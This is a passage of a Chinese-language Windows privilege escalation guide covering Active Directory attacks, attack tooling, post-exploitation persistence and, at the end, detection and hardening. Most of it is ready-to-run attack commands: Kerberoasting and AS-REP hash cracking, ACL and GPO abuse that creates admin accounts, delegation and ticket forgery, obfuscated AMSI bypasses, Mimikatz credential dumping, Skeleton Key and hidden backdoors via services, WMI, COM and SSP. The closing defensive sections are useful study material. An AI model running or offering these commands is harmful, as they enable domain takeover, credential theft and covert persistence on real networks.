Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname
# 使用setspn(系统自带)
setspn -Q */*
# 只查询用户账户的SPN(非机器账户)
setspn -T contoso.com -Q */* | findstr "CN=User"
# 步骤2:请求TGS票据
# 使用Rubeus
Rubeus.exe kerberoast /outfile:C:\Temp\hashes.txt
# 使用PowerView的Invoke-Kerberoast
Invoke-Kerberoast -OutputFormat Hashcat | Out-File -Encoding UTF8 C:\Temp\hashes.txt
# 使用impacket的GetUserSPNs
GetUserSPNs.py contoso.com/user:password -request
# 步骤3:破解TGS哈希
# Kerberoasting的TGS票据使用服务账户密码加密
# 使用hashcat破解(模式13100为Kerberoasting)
hashcat -m 13100 hashes.txt rockyou.txt
# 使用John the Ripper
john --format=krb5tgs hashes.txt
【提示】 Kerberoasting成功率取决于服务账户密码的复杂度。通常服务账户密码较弱且很少更换。建议优先尝试常见密码字典。RC4-HMAC加密的TGS票据比AES加密的更容易破解。
11.3 AS-REP Roasting攻击
AS-REP Roasting针对禁用了预身份验证(DoNotRequirePreAuth)的用户账户。
# 步骤1:查找禁用预身份验证的用户
# 使用PowerView
Get-NetUser -PreauthNotRequired | Select-Object samaccountname
# 使用Rubeus
Rubeus.exe asreproast /outfile:C:\Temp\asrep_hashes.txt
# 使用impacket的GetNPUsers
GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt
# 步骤2:请求AS-REP票据
# 使用Rubeus
Rubeus.exe asreproast /user:victim_user /domain:contoso.com /outfile:C:\Temp\asrep.txt
# 步骤3:破解AS-REP哈希
# AS-REP Roasting使用hashcat模式18200
hashcat -m 18200 asrep_hashes.txt rockyou.txt
11.4 ACL配置错误提权
AD中的ACL配置错误是域提权的重要路径。如果低权限用户对高权限账户拥有特定的ACL权限,可通过修改目标对象实现提权。
| ACL权限 | 说明 | 提权方式 |
|---|---|---|
| GenericAll | 完全控制 | 重置密码/修改组成员 |
| GenericWrite | 写入属性 | 修改SPN/设置脚本路径 |
| WriteDacl | 修改DACL | 自授GenericAll后重置密码 |
| WriteOwner | 修改所有者 | 获取所有权后修改DACL |
| WriteProperty | 写入指定属性 | 修改membership属性 |
| Self | 自我写入 | 添加自己到组 |
# 使用PowerView检测ACL配置错误
# 查找当前用户拥有GenericAll权限的对象
Invoke-ACLScanner | Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} | Select-Object IdentityReference, DistinguishedName, ActiveDirectoryRights
# 查找所有ACL配置错误
Find-ModifiableACLOverlay
# 利用GenericAll重置目标用户密码
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force)
# 利用GenericAll将用户添加到Domain Admins组
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker_user
# 利用GenericWrite设置用户的SPN(用于Kerberoasting)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn'}
# 利用WriteDacl给自己授权
# 先获取对象的写DACL权限,再给自己添加GenericAll
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity attacker_user -Rights All
11.5 GPO提权
如果当前用户对某个GPO(组策略对象)拥有修改权限,可通过修改GPO植入恶意策略实现提权。
# 查找当前用户可修改的GPO
Get-NetGPO | Where-Object {
$acl = Get-ObjectAcl -ADSpath $_.ADSpath
$acl.ActiveDirectoryRights -match "WriteProperty|GenericAll" -and
$acl.IdentityReference -match $env:USERNAME
}
# 利用GPO添加计划任务
# 通过修改GPT的ScheduledTasks.xml
$gpoPath = "\\contoso.com\sysvol\contoso.com\Policies\{GPO-GUID}\"
$xmlPath = "$gpoPath\Machine\Preferences\ScheduledTasks\"
# 创建恶意计划任务XML
$xmlContent = @"
<ScheduledTasks>
<Task>
<Name>UpdateTask</Name>
<Properties action="CREATE" runAs="NT AUTHORITY\SYSTEM">
<Task version="1.0">
<RegistrationInfo>
<Description>System Update</Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
</Principal>
</Principals>
<Actions>
<Exec>
<Command>cmd.exe</Command>
<Arguments>/c net user hacker P@ss123 /add && net localgroup administrators hacker /add</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</Task>
</ScheduledTasks>
"@
# 写入GPO
Set-Content -Path "$xmlPath\ScheduledTasks.xml" -Value $xmlContent
# 更新GPO版本号
# 需要同时更新Machine和GPO总版本号
11.6 约束委派利用
约束委派允许服务账户代表用户访问特定服务。如果获取了配置委派的账户,可利用委派获取其他服务的访问权限。
# 查找配置了约束委派的账户
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# 查找配置了约束委派的计算机账户
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
# 使用Rubeus利用约束委派
# 请求服务账户的TGT
Rubeus.exe asktgt /user:svc_account /domain:contoso.com /rc4:NTLM_hash /dc:DC.contoso.com /outfile:ticket.kirbi
# 使用TGT请求CIFS服务的服务票据(模拟管理员)
Rubeus.exe s4u /ticket:ticket.kirbi /impersonate:Administrator /msdsspn:cifs/target.contoso.com /dc:DC.contoso.com /ptt
# 使用获取的票据访问目标
dir \\target.contoso\c$
11.7 AD提权路径表
| 提权路径 | 前提条件 | 目标权限 |
|---|---|---|
| Kerberoasting | SPN服务账户密码弱 | 服务账户权限 |
| AS-REP Roasting | 用户禁用预认证 | 目标用户账户 |
| ACL GenericAll | 对目标有完全控制权限 | 目标用户/组 |
| ACL WriteDacl | 对目标有修改DACL权限 | 目标用户/组 |
| GPO修改 | 对GPO有写权限 | GPO作用域内所有机器 |
| 约束委派 | 拥有委派账户凭据 | 委派目标服务 |
| 资源约束委派 | 可修改计算机msDS-AllowedToActOnBehalfOfOtherIdentity | 目标计算机SYSTEM |
| AD CS证书滥用 | 证书模板配置错误 | 任意用户身份 |
| DCSSync | 拥有DCSync权限 | 域内所有哈希 |
| DNSAdmins | 属于DNSAdmins组 | 域控制器SYSTEM |
十二、PowerShell与C#提权工具
12.1 PowerShell提权模块
PowerUp
# 导入PowerUp
Import-Module .\PowerUp.ps1
# 执行所有提权检查
Invoke-AllChecks
# 单独检查项目
Get-ServiceUnquoted # 未引用服务路径
Get-ModifiableService # 可修改的服务
Get-ModifiableServiceFile # 可修改的服务文件
Get-RegistryAutoStart # 可修改的AutoRun项
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated
Get-ModifiableScheduledTask # 可修改的计划任务
Get-UnattendedInstallFile # 无人值守安装文件
Get-ModifiableRegistryAutoRun # 可修改的注册表AutoRun
# 直接利用
Invoke-ServiceAbuse -ServiceName "VulnService" -Command "net user hacker P@ss /add"
Write-UserAddMSI # 生成添加用户的MSI
Invoke-WScriptUACBypass # UAC绕过
Privesc(PowerSploit)
# 导入Privesc模块
Import-Module .\Privesc.psm1
# 执行所有检查
Invoke-AllChecks
# 检查当前用户特权
Get-CurrentUserTokenPrivileges
# 检查可修改的服务
Get-ModifiableService
# 检查未引用的服务路径
Get-ServiceUnquoted -Verbose
# 检查服务文件权限
Get-ServiceFilePermission
12.2 C#提权工具
Seatbelt
# 收集所有信息
Seatbelt.exe -group=all
# 特定分组收集
Seatbelt.exe -group=system # 系统信息
Seatbelt.exe -group=chrome # Chrome凭据
Seatbelt.exe -group=remote # 远程连接信息
Seatbelt.exe -group=interestingfiles # 有趣的文件
Seatbelt.exe -group=windowsdefender # Windows Defender配置
# 单项收集
Seatbelt.exe WindowsAutoLogon # 自动登录凭据
Seatbelt.exe ScheduledTasks # 计划任务
Seatbelt.exe Registry # 注册表AutoRun
Seatbelt.exe PowerShell # PowerShell历史记录
Seatbelt.exe CredEnum # 凭据管理器
Rubeus(AD相关)
# AS-REP Roasting
Rubeus.exe asreproast /user:victim_user /domain:contoso.com
# Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt
# Pass-the-Hash
Rubeus.exe asktgt /user:Administrator /domain:contoso.com /rc4:NTLMhash /ptt
# Pass-the-Ticket
Rubeus.exe ptt /ticket:ticket.kirbi
# S4U2Self/S4U2Proxy(约束委派)
Rubeus.exe s4u /user:svc_account /rc4:hash /impersonateuser:Administrator /msdsspn:cifs/target /ptt
# DCSync
Rubeus.exe dcsync /user:krbtgt /domain:contoso.com
SharpUp
# 执行所有提权检查
SharpUp.exe
# 检查特定项目
SharpUp.exe -c service
SharpUp.exe -c unquoted
SharpUp.exe -c alwaysinstallelevated
SharpUp.exe -c registry
SharpUp.exe -c hijackable
12.3 AMSI绕过与CLM绕过
# AMSI绕过(反恶意软件扫描接口)
# 方法1:修改AMSI上下文
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 方法2:使用已知绕过方法
S ET-ItEM ( 'V'+'arIABLe:Of'+'s0U'+'t' ) ( [TyPOF( "{1}{0}{2}{3}"-F'p','am','SI.','ut' )] ) ; ( geT-vaRiAbLE ("ofs"+"0Ut") )."GEt`FIeLd"( "am" +"SIIn"+"itf"+"AI"+"lED" ,"NO" + "NpublIC,s" +"TAT" +"Ic"). "SEt`VaLUe"( ${nuLl} ,${tRuE} )
# 方法3:硬件断点绕过
# 使用硬件断点Hook技术绕过AMSI
# CLM(Constrained Language Mode)绕过
# 检查是否处于CLM
$ExecutionContext.SessionState.LanguageMode
# 如果输出 ConstrainedLanguage,则处于CLM
# CLM绕过方法1:使用InstallUtil
InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\BypassCLM.dll
# CLM绕过方法2:使用自定义AppDomain
# 通过C#编译的DLL绕过CLM限制
12.4 工具使用命令速查表
# === 通用提权检查 ===
# WinPEAS
winpeas.exe fast
# PowerUp
Invoke-AllChecks
# PrivescCheck
Invoke-PrivescCheck
# SharpUp
SharpUp.exe
# === 信息收集 ===
# Seatbelt
Seatbelt.exe -group=all
# Watson(漏洞匹配)
Watson.exe
# === UAC绕过 ===
# UACME
UACME.exe 33 C:\Temp\payload.exe
# === 令牌窃取 ===
# PrintSpoofer
PrintSpoofer.exe -i -c cmd.exe
# GodPotato
GodPotato.exe -cmd "whoami"
# === 凭据提取 ===
# Mimikatz
mimikatz.exe "sekurlsa::logonpasswords" exit
# secretsdump
secretsdump.py -sam SAM -system SYSTEM LOCAL
# === AD攻击 ===
# Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# BloodHound
SharpHound.exe -c All
十三、提权后操作与持久化
获取SYSTEM或管理员权限后,持久化(Persistence)是维持访问的关键。
13.1 添加用户与隐藏账户
# 添加普通用户
net user backdoor P@ssw0rd! /add
# 添加到管理员组
net localgroup administrators backdoor /add
# 创建隐藏账户(账户名以$结尾)
net user hidden$ P@ssw0rd! /add
# 以$结尾的账户不会在net user列表中显示
# 但在本地用户管理器中可见
# 从注册表级别隐藏账户
# 导出正常用户的注册表
reg export "HKLM\SAM\SAM\Domains\Account\Users" C:\Temp\users.reg
# 记录正常用户的F值
reg query "HKLM\SAM\SAM\Domains\Account\Users\000001F4" /v F
# 将正常用户的F值复制到隐藏账户
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY /d <F_value> /f
# 设置隐藏账户名
reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\hidden$" /v "" /t REG_BINARY /d 0x000001F5 /f
【提示】 以$结尾的账户在
net user命令中不可见,但在计算机管理控制台中仍可见。要从注册表级别完全隐藏,需要修改SAM注册表中的F值,使其模仿Guest账户。修改SAM注册表需要SYSTEM权限,且需要先给自己赋权。
13.2 后门植入
服务后门
# 创建恶意服务
sc create BackdoorSvc binPath= "C:\Temp\backdoor.exe" start= auto
sc description BackdoorSvc "Windows Update Service"
sc start BackdoorSvc
# 伪装为合法服务名
sc create "WindowsUpdate" binPath= "C:\Temp\backdoor.exe" start= auto
sc description "WindowsUpdate" "Manages Windows Updates"
计划任务后门
# 创建计划任务后门(每小时执行一次)
schtasks /create /tn "SystemUpdate" /tr "C:\Temp\backdoor.exe" /sc hourly /mo 1 /ru SYSTEM
# 创建登录时触发的计划任务
schtasks /create /tn "UserLogonUpdate" /tr "C:\Temp\backdoor.exe" /sc onlogon /ru SYSTEM
# 创建启动时触发的计划任务
schtasks /create /tn "SystemStartup" /tr "C:\Temp\backdoor.exe" /sc onstart /ru SYSTEM /rl highest
WMI事件订阅后门
# 创建WMI事件订阅(永久性后门)
# 触发条件:用户登录
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonEvent'"
$filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "BackdoorFilter"
EventNamespace = "root\subscription"
Query = $query
QueryLanguage = "WQL"
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments @{
Name = "BackdoorConsumer"
CommandLineTemplate = "C:\Temp\backdoor.exe"
}
# 绑定过滤器和消费者
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
# 删除WMI后门
$filter | Remove-WmiInstance
$consumer | Remove-WmiInstance
注册表后门
# 在注册表Run键添加自启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Temp\backdoor.exe" /f
# 在用户级Run键添加
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Temp\backdoor.exe" /f
COM劫持后门
# COM劫持后门 - 修改HKCU中的InProcServer32
# 当系统COM组件被加载时执行恶意DLL
$clsid = "{b5f8350b-0548-48b1-a6ee-88bd135b2a97}"
$regPath = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"
# 创建注册表项
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "C:\Temp\backdoor.dll"
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Apartment"
# 当被劫持的COM对象被任何进程加载时,恶意DLL会被执行
# 可通过劫持常用的COM对象实现持久化
13.3 黄金票据与白银票据维持
黄金票据(Golden Ticket)
# 黄金票据需要krbtgt账户的NTLM哈希
# 使用mimikatz生成
mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:ntlm_hash_of_krbtgt /ptt" exit
# 使用Rubeus生成
Rubeus.exe golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-xxx /aes256:aes256_hash /ptt
# 黄金票据特点:
# 1. 可伪造任意用户(包括不存在的用户)
# 2. 可访问域内任何服务
# 3. 有效期默认10年
# 4. 即使目标用户密码修改仍有效(除非krbtgt密码修改两次)
白银票据(Silver Ticket)
# 白银票据需要服务账户的NTLM哈希
# 伪造特定服务的TGS票据
mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-xxx /target:server.contoso.com /service:cifs /rc4:ntlm_hash_of_service /ptt" exit
# 白银票据特点:
# 1. 不需要与DC通信
# 2. 只能访问特定服务
# 3. 隐蔽性更高(不产生Kerberos流量到DC)
# 4. 需要服务账户哈希
13.4 Skeleton Key后门
Skeleton Key是一种域控制器后门,向LSASS注入恶意DLL,使所有用户的密码变为统一的"skeleton key"密码。
# 在域控制器上执行(需要Domain Admin权限)
mimikatz.exe "privilege::debug" "misc::skeleton" exit
# 执行后,任何用户都可以使用原密码或"mimikatz"作为密码登录
# 例如:Administrator的密码是"P@ss123"
# 执行Skeleton Key后,Administrator既可以用"P@ss123"登录,也可以用"mimikatz"登录
# 清除Skeleton Key
# 需要重启域控制器
13.5 SSP后门
SSP(Security Support Provider)后门通过自定义SSP DLL捕获登录凭据。
# 方法1:通过注册表添加SSP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v Security Packages /t REG_MULTI_SZ /d "msv1_0.dll\0kerberos.dll\0custom_ssp.dll" /f
# 方法2:使用mimikatz注入SSP
mimikatz.exe "privilege::debug" "misc::ssp" exit
# SSP后门会在用户登录时捕获明文密码
# 凭据保存在 C:\Windows\System32\mimilsa.log
13.6 持久化技术对比表
| 持久化技术 | 权限要求 | 隐蔽性 | 持久性 | 检测难度 |
|---|---|---|---|---|
| 隐藏账户($) | SYSTEM | 中 | 持久 | 低 |
| 服务后门 | Administrator | 低 | 持久 | 低 |
| 计划任务后门 | Administrator | 中 | 持久 | 中 |
| WMI事件订阅 | Administrator | 高 | 持久 | 高 |
| COM劫持 | 用户级 | 高 | 持久 | 高 |
| 注册表AutoRun | Administrator | 中 | 持久 | 中 |
| 黄金票据 | 域管理员 | 高 | 10年 | 高 |
| 白银票据 | 域用户 | 高 | 持久 | 高 |
| Skeleton Key | 域管理员 | 中 | 至重启 | 中 |
| SSP后门 | SYSTEM | 中 | 持久 | 中 |
【提示】 高隐蔽性的持久化技术(如WMI事件订阅、COM劫持)不创建新的进程或服务,更难被常规安全工具发现。在蓝队演练中,应重点关注这些隐蔽持久化方法。黄金票据是域环境中最具破坏性的后门,防御方法是定期(至少两次)修改krbtgt账户密码。
十四、检测与防御
14.1 提权检测方法表
| 检测方法 | Sysmon事件ID | 说明 |
|---|---|---|
| 进程创建 | 1 | 监控可疑进程创建(如whoami、net user) |
| 文件创建时间修改 | 2 | 检测时间戳篡改 |
| 网络连接 | 3 | 监控异常外联 |
| Sysmon服务状态变更 | 4 | 监控Sysmon自身状态 |
| 进程终止 | 5 | 记录进程终止 |
| 驱动程序加载 | 6 | 监控恶意驱动加载 |
| 镜像加载 | 7 | 监控DLL加载 |
| CreateRemoteThread | 8 | 检测进程注入 |
| RawAccessRead | 9 | 检测磁盘原始读取(读SAM) |
| Process Tampering | 10 | 检测进程篡改 |
| 文件创建 | 11 | 监控可疑文件创建 |
| 注册表事件 | 12/13/14 | 监控注册表修改 |
| 文件流创建 | 15 | 监控ADS创建 |
| 访问SAM/SYSTEM | 10 | 检测SAM/SYSTEM文件读取 |
| 凭据访问 | 4656/4663 | 检测LSASS访问 |
| 服务安装 | 7045 | 检测新服务创建 |
| 用户创建 | 4720 | 检测新用户创建 |
| 用户添加到组 | 4728/4732 | 检测权限提升 |
14.2 权限配置加固清单表
| 序号 | 加固项 | 推荐配置 | 检测命令 |
|---|---|---|---|
| 1 | 服务路径引号 | 所有服务路径用引号包裹 | wmic service get pathname |
| 2 | 服务目录权限 | 仅Administrators和SYSTEM可写 | icacls 检查 |
| 3 | AlwaysInstallElevated | 设置为0或删除 | reg query |
| 4 | UAC级别 | 设置为"始终通知" | reg query ConsentPromptBehaviorAdmin |
| 5 | 自动登录 | 禁用 | reg query AutoAdminLogon |
| 6 | 注册表Run键权限 | 仅Administrators可写 | accesschk -k |
| 7 | 启动文件夹权限 | 仅Administrators可写 | icacls |
| 8 | SAM文件权限 | 仅SYSTEM可读 | icacls C:\Windows\System32\config\SAM |
| 9 | 计划任务权限 | 检查任务执行权限 | schtasks /query /v |
| 10 | 服务权限 | 移除多余用户权限 | sc sdshow |
| 11 | LSA保护 | 启用RunAsPPL | reg query RunAsPPL |
| 12 | 凭据保护 | 启用Credential Guard | 检查LSA配置 |
| 13 | PowerShell日志 | 启用脚本块日志 | reg query PowerShell |
| 14 | Windows Defender | 启用实时保护 | Get-MpPreference |
| 15 | 驱动签名 | 启用驱动签名验证 | bcdedit /enum |
| 16 | SMBv1 | 禁用 | Get-SmbServerConfiguration |
| 17 | RDP NLA | 启用 | reg query UserAuthentication |
| 18 | LmCompatibilityLevel | 设置为5 | reg query LmCompatibilityLevel |
| 19 | 密码策略 | 复杂度+长度+锁定 | net accounts |
| 20 | 来宾账户 | 禁用 | net user Guest |
| 21 | Print Spooler | 非打印服务器禁用 | Get-Service Spooler |
| 22 | WDigest | 禁用明文存储 | reg query UseLogonCredential |
14.3 服务安全配置
# 查看服务安全描述符
sc sdshow Spooler
# 设置服务安全描述符(限制服务修改权限)
# SDDL格式: D:(DACL); S:(SACL)
# 以下SDDL仅允许SYSTEM和Administrators修改服务
sc sdset TargetService D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;FA;;;WD)
# 检查所有服务路径是否被引号包裹
wmic service get name,pathname | findstr /v "system32" | findstr /v '"'
# 修复未引用的服务路径
sc config TargetService binPath= "\"C:\Program Files\My Service\service.exe\""
# 检查服务可执行文件目录权限
Get-CimInstance Win32_Service | ForEach-Object {
$path = $_.PathName -replace '^"?', '' -replace '"?.*$', '' -replace '\\[^\\]+$', ''
if (Test-Path $path) {
$acl = Get-Acl $path
$accessRules = $acl.Access | Where-Object {
$_.IdentityReference -match "Users|Everyone" -and
$_.FileSystemRights -match "Write|FullControl"
}
if ($accessRules) {
Write-Output "VULNERABLE: $path ($($_.Name))"
}
}
}
14.4 注册表安全配置
# 检查AlwaysInstallElevated并禁用
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /f
reg delete "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /f
# 或设置为0
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
# 禁用自动登录
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "0" /f
# 清除存储的凭据
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword /f
# 检查注册表Run键权限
accesschk.exe -uwcqv "Authenticated Users" -k "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
accesschk.exe -uwcqv "Authenticated Users" -k "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
14.5 UAC配置强化
# 设置UAC为最高级别(始终通知)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f
# 启用安全桌面
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f
# 启用UAC虚拟化
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableVirtualization /t REG_DWORD /d 1 /f
# 启用UAC
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
# 通过组策略配置UAC
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
14.6 内核漏洞修补
# 检查系统补丁状态
$hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID
# 关键安全补丁检查列表
$criticalPatches = @(
"KB5004760", # CVE-2021-1675 PrintNightmare
"KB5004298", # CVE-2021-36934 HiveNightmare
"KB4013389", # MS17-010 EternalBlue
"KB3124280", # MS16-032
"KB3195885", # MS16-135
"KB4534271" # CVE-2020-0787
)
foreach ($patch in $criticalPatches) {
if ($hotfixes -contains $patch) {
Write-Output "[OK] $patch installed"
} else {
Write-Output "[MISSING] $patch NOT installed - VULNERABLE"
}
}
# 检查SAM文件权限(HiveNightmare检测)
$samACL = (Get-Acl "C:\Windows\System32\config\SAM").Access
$nonAdminAccess = $samACL | Where-Object {
$_.IdentityReference -notmatch "SYSTEM|Administrators|TrustedInstaller" -and
$_.AccessControlType -eq "Allow"
}
if ($nonAdminAccess) {
Write-Output "[VULNERABLE] SAM file readable by non-admin: HiveNightmare"
$nonAdminAccess | Format-Table
}
14.7 Windows Defender配置
# 查看Defender配置
Get-MpPreference
# 启用实时保护
Set-MpPreference -DisableRealtimeMonitoring $false
# 启用云保护
Set-MpPreference -MAPSReporting Advanced
Set-MpPreference -SubmitSamplesConsent SendSafeSamples
# 启用PUA检测
Set-MpPreference -PUAProtection Enabled
# 设置排除项(谨慎操作)
# 查看排除项
Get-MpPreference | Select-Object -Property Exclusion*
# 移除不必要的排除项
Remove-MpPreference -ExclusionPath "C:\Temp"
# 启用网络保护
Set-MpPreference -EnableNetworkProtection Enabled
# 启用攻击面缩减规则(ASR)
# 阻止凭据窃取
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-6d63-4db9-a5f2-2b3c2f2aa0c3 -AttackSurfaceReductionRules_Actions Enabled
# 阻止子进程创建
Add-MpPreference -AttackSurfaceReductionRules_Ids d4f94017-0419-4634-9844-e4ba6f3a9b39 -AttackSurfaceReductionRules_Actions Enabled
# 阻止Office应用注入其他进程
Add-MpPreference -AttackSurfaceReductionRules_Ids 756d4d11-337b-4e3c-9b33-e3be787be2c3 -AttackSurfaceReductionRules_Actions Enabled
# 更新Defender签名
Update-MpSignature
14.8 防御脚本编写
以下是一个完整的Windows提权防御加固检查脚本:
<#
.SYNOPSIS
Windows提权防御加固检查脚本
.DESCRIPTION
检查常见提权路径的安全配置状态
.NOTES
用于安全审计和合规检查
#>
$ErrorActionPreference = "SilentlyContinue"
$findings = @()
function Add-Finding($category, $severity, $description, $recommendation) {
$findings += [PSCustomObject]@{
Category = $category
Severity = $severity
Description = $description
Recommendation = $recommendation
}
}
Write-Output "=== Windows Privilege Escalation Defense Audit ==="
Write-Output "Date: $(Get-Date)"
Write-Output ""
# 1. 检查AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated").AlwaysInstallElevated
$hklm = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated").AlwaysInstallElevated
if ($hkcu -eq 1 -or $hklm -eq 1) {
Add-Finding "AlwaysInstallElevated" "HIGH" "AlwaysInstallElevated is enabled" "Disable AlwaysInstallElevated registry key"
}
# 2. 检查自动登录凭据
$autoLogon = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon").AutoAdminLogon
if ($autoLogon -eq "1") {
Add-Finding "AutoLogon" "HIGH" "AutoLogon is enabled" "Disable AutoAdminLogon and clear stored credentials"
}
# 3. 检查SAM文件权限
$samACL = (Get-Acl "C:\Windows\System32\config\SAM").Access
$nonAdminAccess = $samACL | Where-Object {
$_.IdentityReference -notmatch "SYSTEM|Administrators|TrustedInstaller" -and
$_.AccessControlType -eq "Allow"
}
if ($nonAdminAccess) {
Add-Finding "SAM Permissions" "CRITICAL" "SAM file is readable by non-admin accounts" "Fix SAM file ACL permissions"
}
# 4. 检查UAC配置
$uacLevel = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System").ConsentPromptBehaviorAdmin
if ($uacLevel -eq 0) {
Add-Finding "UAC" "MEDIUM" "UAC is set to silently elevate without prompt" "Set ConsentPromptBehaviorAdmin to 2"
}
# 5. 检查未引用的服务路径
$services = Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and $_.PathName -notmatch '"' -and $_.PathName -match ' '
}
if ($services) {
Add-Finding "Service Paths" "HIGH" "Found services with unquoted paths" "Wrap service paths in quotes"
}
# 6. 检查Print Spooler服务
$spooler = Get-Service -Name Spooler -ErrorAction SilentlyContinue
if ($spooler -and $spooler.Status -eq "Running") {
Add-Finding "Print Spooler" "MEDIUM" "Print Spooler service is running" "Disable Print Spooler if not needed (PrintNightmare)"
}
# 7. 检查WDigest明文存储
$wdigest = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest" -Name "UseLogonCredential").UseLogonCredential
if ($wdigest -eq 1) {
Add-Finding "WDigest" "HIGH" "WDigest credential storage is enabled" "Disable UseLogonCredential"
}
# 8. 检查LSA保护
$lsaProtection = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL").RunAsPPL
if ($lsaProtection -ne 1) {
Add-Finding "LSA Protection" "HIGH" "LSA Protection (RunAsPPL) is not enabled" "Enable RunAsPPL for LSA protection"
}
# 9. 检查SMBv1
$smbv1 = (Get-SmbServerConfiguration).EnableSMB1Protocol
if ($smbv1) {
Add-Finding "SMBv1" "HIGH" "SMBv1 protocol is enabled" "Disable SMBv1 protocol"
}
# 10. 检查来宾账户
$guest = Get-LocalUser -Name Guest
if ($guest.Enabled) {
Add-Finding "Guest Account" "MEDIUM" "Guest account is enabled" "Disable the Guest account"
}
# 输出结果
if ($findings.Count -eq 0) {
Write-Output "No critical findings. System appears to be well-hardened."
} else {
Write-Output "Total Findings: $($findings.Count)"
Write-Output ""
$findings | Format-Table -AutoSize
}
Write-Output ""
Write-Output "=== Audit Complete ==="
【提示】 防御加固不是一次性操作,而应形成常态化安全基线检查机制。建议每月运行一次加固检查脚本,并在补丁日(每月第二个周二)后及时安装安全更新。同时,部署Sysmon并配置合理的日志收集策略,是检测提权行为的关键防线。
总结
Windows权限提升是一个多层次、多维度的技术体系。本文从15个方面系统梳理了Windows提权的完整知识图谱:
| 提权路径 | 核心思路 | 适用场景 |
|---|---|---|
| 服务配置错误 | 替换/修改服务可执行文件 | 通用,最常见 |
| 注册表提权 | 利用AlwaysInstallElevated/AutoRun | MSI安装包权限 |
| UAC绕过 | 利用autoElevate组件 | 管理员账户提权 |
| 令牌窃取 | 模拟SYSTEM进程令牌 | 服务账户提权 |
| 计划任务/启动项 | 替换自动运行文件 | 需要重启或登录触发 |
| 内核漏洞 | 利用未修复漏洞 | 未打补丁的系统 |
| DLL劫持 | 在搜索路径放置恶意DLL | 可写目录+高权限程序 |
| 凭据提取 | 从内存/文件提取密码 | 已有初步访问权限 |
